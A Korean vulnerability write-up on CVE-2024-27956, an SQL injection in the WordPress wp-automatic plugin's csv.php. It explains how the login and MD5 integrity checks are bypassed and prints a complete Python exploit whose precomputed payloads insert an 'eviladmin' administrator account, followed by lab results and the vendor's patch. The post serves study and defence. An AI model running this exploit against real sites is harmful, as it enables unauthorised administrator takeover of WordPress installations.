Post

[CVE-2024-27956] 취약점 분석 보고서

wordpress plugin wp-automatic 3.92.0 버전 이하에서 발생하는 SQL Injection 취약점

개요

CVE-2024-27956은 wordpress 자동 콘텐츠 게시 플러그인 wp-automatic에서 발생하는 SQL injection 취약점이다.

실습 환경

WSL2 ubuntu 22.08

Detail

취약점: SQL Injection

CVSS: 9.8

취약한 버전: <= 3.92.0

plugin: https://github.com/truonghuuphuc/CVE-2024-27956?tab=readme-ov-file

취약점

취약점은 csv.php 파일에서 발생한다. csv.php는 사용자 로그인 요청을 처리하는 핵심 파일이다. 해당 파일에서 사용자 입력 검증이 제대로 이루어지지 않아 SQL 인젝션 취약점이 발생한다.

wp-automatic/inc/csv.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
require_once('../../../../wp-load.php');
global $wpdb;

 

  global $current_user;
  wp_get_current_user();

     //   echo user_login . "'s email address is: " . $current_user->user_pass;
 

//get admin pass for integrity check 

// extract query
$q = stripslashes($_POST['q']);
$auth = stripslashes($_POST['auth']);
$integ=stripslashes($_POST['integ']);

if(wp_automatic_trim($auth == '')){
	
	  echo 'login required';
	exit;
}

if(wp_automatic_trim($auth) != wp_automatic_trim($current_user->user_pass)){
	  echo 'invalid login';
	exit;
}

if(md5(wp_automatic_trim($q.$current_user->user_pass)) != $integ ){
	  echo 'Tampered query';
	exit;
}
 

$rows=$wpdb->get_results( $q);
$date=date("F j, Y, g:i a s");
$fname=md5($date);
header("Content-type: application/csv");
header("Content-Disposition: attachment; filename=$fname.csv");
header("Pragma: no-cache");
header("Expires: 0");

  echo "DATE,ACTION,DATA,KEYWORD \n";
foreach($rows as $row){
	
	$action=$row->action;
	if (stristr($action , 'New Comment Posted on :')){
			$action = 'Posted Comment';
		}elseif(stristr($action , 'approved')){
			$action = 'Approved Comment';
	}
	
	//format date
	$date=date('Y-n-j H:i:s',strtotime ($row->date));

	$data=$row->data;
	$keyword='';
	//filter the data strip keyword
	if(stristr($data,';')){
		$datas=explode(';',$row->data);
		$data=$datas[0];
		$keyword=$datas[1];
	}
	  echo "$date,$action,$data,$keyword \n";

}

//  echo "record1,$q,record3\n";

?>


$q 변수에 임의의 SQL 쿼리를 삽입할 수 있고, $pdb->get_results($q) 에서 SQL 쿼리문이 실행된다. 그러나 wp_automatic_trim($q.$current_user->user_pass) 와 md5(wp_automatic_trim($q.$current_user->user_pass) 를 사용한 검사가 구현되어 있다.

wp-automatic/wp-automatic.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//function wordpress automatic trim to trim a string, accepts a string or a null and if null, it returns an empty string and if a string, it trim it using trim function
//for PHP 8.2 compatibility

function wp_automatic_trim($str)

{

	if (is_null($str)) {

		return '';

	} else {

			return trim($str);

	}

}

wp_automatic_trim 함수에 전달된 값에 대해 기본적인 공백 제거 작업을 수행한다. 첫 번째 값 $current_user -> user_pass 는 인증되지 않은 사용자가 파일에 접근할 경우 빈 문자열이 된다. 따라서 $auth 변수에 빈 문자열을 전달하면 된다. 두 번째 검사에서는 $current_user -> user_pass가 빈 문자열이므로, $q 변수에 전달한 SQL 쿼리문에 대한 MD5 값만 삽입하면된다.

하지만 이 두 검사 전에 if(wp_automatic_trim($auth == ‘’)) $auth값에 빈 문자열을 전달할 수 없는데, $auth 값에 공백 한 칸(“”)을 입력하면 조건문을 우회할 수 있다.

POC

SQL 인젝션 취약점을 이용해 악성 관리자 계정인 “eviladmin”을 생성하는 것이 목표로 한다.

image.png

image.png

wp-automatic.zip 파일을 파일 선택 기능을 이용해 추가해준다.

image.png

image.png

플러그인을 설치하고, 활성화 시켜준다.

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests

import sys

def makeRequest(payload, hash, url):

host = url.split('/', 3)[2]

headers = {

'Host': host,

'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',

'Accept-Language': 'en-US,en;q=0.5',

'Accept-Encoding': 'gzip, deflate, br',

'Content-type': 'application/x-www-form-urlencoded',

'Connection': 'close',

'Upgrade-Insecure-Requests': '1'

}

data = {

'q': payload,

'auth': b'\0',

'integ': hash

}

response = requests.post(url, data=data, headers=headers)

return response

def helpUsage():

print("[+] You must run the exploit passing the WordPress URL. \n[+] Example: python exploit.py http://website.com")

quit()

def verifyArgs(argv):

if len(sys.argv) != 2:

helpUsage()

verifyArgs(sys.argv)

print("[+] Exploit for CVE-2024-27956")

domain = sys.argv[1]

url = domain + '/wp-content/plugins/wp-automatic/inc/csv.php'

# First request (create user)

print("[+] Creating user eviladmin")

response = makeRequest("INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', 'eviladmin@gmail.com', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')", "09956ea086b172d6cf8ac31de406c4c0", url)

if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:

print("[+] Error in the payload")

quit()

if "DATE" not in response.text:

print("[+] Not vulnerable")

quit()

# Second request (give permission)

print("[+] Giving eviladmin administrator permissions")

makeRequest("INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')", "bd98494b41544b818fa9f583dadfa2bb", url)

if "Tampered query" in response.text or "invalid login" in response.text or "login required" in response.text:

print("[+] Error in the payload")

quit()

print("[+] Exploit completed!")

print("[+] Administrator created: eviladmin:admin")

image.png

현재 db에는 khh라는 사용자 계정밖에 없다.

익스플로잇 코드를 실행하면, 사용자 계정을 추가하는 동시에 관리자 권한을 부여한다.

image.png

image.png

코드를 실행하고, 사용자 db를 보면 eviladmin 계정이 추가되어있다.

image.png

워드프레스 사용자 페이지에도 eviladmin 계정이 추가되고, 관리자 권한이 부여되어있다.

패치

해당 벤더사에서는 inc/csv.php 파일을 완전히 제거했다.

This post is licensed under CC BY 4.0 by the author.